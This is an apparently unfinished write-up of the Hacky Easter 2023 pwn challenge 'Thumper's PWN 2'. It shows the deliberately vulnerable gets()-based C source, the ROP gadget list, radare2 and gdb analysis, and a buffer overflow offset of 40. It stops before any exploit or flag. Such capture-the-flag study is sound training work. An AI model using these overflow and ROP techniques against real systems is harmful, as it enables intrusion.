Thumper's PWN 2
Challenge
Thumper got one step closer to Dr. Evil but there’s still a lot he has to learn. That’s why he’s practicing the ancient art of ROP. Help him solve this challenge by reading the file FLAG, so he can be on his way.
Target: nc ch.hackyeaster.com 2314
Note: The service is restarted every hour at x:00.
Solution
We get a main.c
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>
#include "seccomp-bpf.h"
bool sec_done = false;
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
sec_done = true;
}
void vuln() {
char buf[32];
printf("Are you a master of ROP?\n");
printf("Show me what you can do: ");
gets(buf);
}
void main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
if (!sec_done) {
activate_seccomp();
}
vuln();
}
When googling, one can find pretty much pre-composed ROP exploits to read a file named ‘flag’ (32 bit), we just need to know how to adapt it to our situation. Additionally this article is quite instructive (and leads to python at the end)
We can then combine this, hopefully with ROPgadget
to find apporpriate gadgets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
user@p-ctf:~/Downloads/thumperspwn2$ ropgadget --binary main --only "pop|ret"
Gadgets information
============================================================
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop r14 ; pop r15 ; ret
0x0000000000400802 : pop r15 ; ret
0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400536 : ret
0x0000000000400542 : ret 0x200a
0x00000000004006f2 : ret 0x2be
Unique gadgets found: 13
sas
good reading: https://devel0pment.de/?p=2282
We unzip the file and find an executable called main
When we execute it, we are asked to provide an input, an not much seems to happen after that:
1
2
3
./main
Are you a master of ROP?
Show me what you can do: Hello World
Let’s see what happens if we give it a long string:
1
2
3
4
$ ./main
Are you a master of ROP?
Show me what you can do: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 266408 segmentation fault (core dumped) ./main
We experiment a bit more, and see that if we give it 40 characters we get
1
2
3
4
$ ./main
Are you a master of ROP?
Show me what you can do: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 266372 invalid system call (core dumped) ./main
invalid system call, interesting.
Let’s look at the binary more closely:
1
2
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f60bf91ea714b5e0970b4f71f112d78ae4515b9e, not stripped
We examine it with Radare2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ r2 -A main
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
-- Bindiff two files with '$ radiff2 /bin/true /bin/false'
[0x004005a0]> iI
arch x86
baddr 0x400000
binsz 6766
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
So it is a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x004005a0]> afl
0x004005a0 1 42 entry0
0x004005e0 4 37 sym.deregister_tm_clones
0x00400610 4 55 sym.register_tm_clones
0x00400650 3 29 sym.__do_global_dtors_aux
0x00400680 1 7 sym.frame_dummy
0x00400810 1 2 sym.__libc_csu_fini
0x00400711 1 57 sym.vuln
0x00400550 1 6 sym.imp.puts
0x00400570 1 6 sym.imp.printf
0x00400590 1 6 sym.imp.gets
0x00400814 1 9 sym._fini
0x00400687 1 138 sym.activate_seccomp
0x00400580 1 6 sym.imp.prctl
0x004007a0 4 101 sym.__libc_csu_init
0x004005d0 1 2 sym._dl_relocate_static_pie
0x0040074a 3 81 main
0x00400560 1 6 sym.imp.setbuf
0x00400520 3 23 sym._init
and a vuln
function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x004005a0]> pdf @ sym.vuln
; CALL XREF from main @ 0x400793(x)
┌ 57: sym.vuln ();
│ ; var char *s @ rbp-0x20
│ 0x00400711 55 push rbp
│ 0x00400712 4889e5 mov rbp, rsp
│ 0x00400715 4883ec20 sub rsp, 0x20
│ 0x00400719 488d3d280200. lea rdi, str.Are_you_a_master_of_ROP_ ; 0x400948 ; "Are you a master of ROP?" ; const char *s
│ 0x00400720 e82bfeffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400725 488d3d350200. lea rdi, str.Show_me_what_you_can_do:_ ; 0x400961 ; "Show me what you can do: " ; const char *format
│ 0x0040072c b800000000 mov eax, 0
│ 0x00400731 e83afeffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400736 488d45e0 lea rax, [s]
│ 0x0040073a 4889c7 mov rdi, rax ; char *s
│ 0x0040073d b800000000 mov eax, 0
│ 0x00400742 e849feffff call sym.imp.gets ; char *gets(char *s)
│ 0x00400747 90 nop
│ 0x00400748 c9 leave
└ 0x00400749 c3 ret
here the unsafe gets
function is used, where we simply get to provide our input and the function return
We examine it with gdb-peda
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gdb ./main
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./main...
(No debugging symbols found in ./main)
create pattern
1
2
gdb-peda$ pattern_create 200 ./pattern
Writing pattern of 200 chars to filename "./pattern"
run with pattern
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
gdb-peda$ r < ./pattern [35/1770]
Starting program: /home/saskia/code/github/shiltemann/CTF-writeups-galaxians/website/writeups/HackyEaster_2023/writeupfiles/thumper2/main < ./pattern
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Are you a master of ROP?
Show me what you can do:
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd20 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAAr
AAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RBX: 0x0
RCX: 0x7ffff7e19aa0 --> 0xfbad209b
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7e1ba80 --> 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x400749 (<vuln+56>: ret)
R8 : 0x0
R9 : 0x0
R10: 0x7ffff7c09c78 --> 0xf0022000043b3
R11: 0x246
R12: 0x7fffffffde68 --> 0x7fffffffe261 ("/home/saskia/code/github/shiltemann/CTF-writeups-galaxians/website/writeups/HackyEaster_2023/writeupfiles/thumper2/main")
R13: 0x40074a (<main>: push rbp)
R14: 0x0
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400742 <vuln+49>: call 0x400590 <gets@plt>
0x400747 <vuln+54>: nop
0x400748 <vuln+55>: leave
=> 0x400749 <vuln+56>: ret
0x40074a <main>: push rbp
0x40074b <main+1>: mov rbp,rsp
0x40074e <main+4>: mov rax,QWORD PTR [rip+0x2008fb] # 0x601050 <stdout@@GLIBC_2.2.5>
0x400755 <main+11>: mov esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdd50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffdd58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffdd60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffdd78 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffdd80 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400749 in vuln ()
we take the top value off the stack to determine the pattern offset:
1
2
3
gdb-peda$ pattern_offset AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe found at offset: 40
We don’t get a system()
call in the code directly, but since printf is used, the entire libc library is loaded, we just need to find the right address?
1
2
3
gdb-peda$ print system
$1 = {int (const char *)} 0x7ffff7c50d60 <__libc_system>
Flag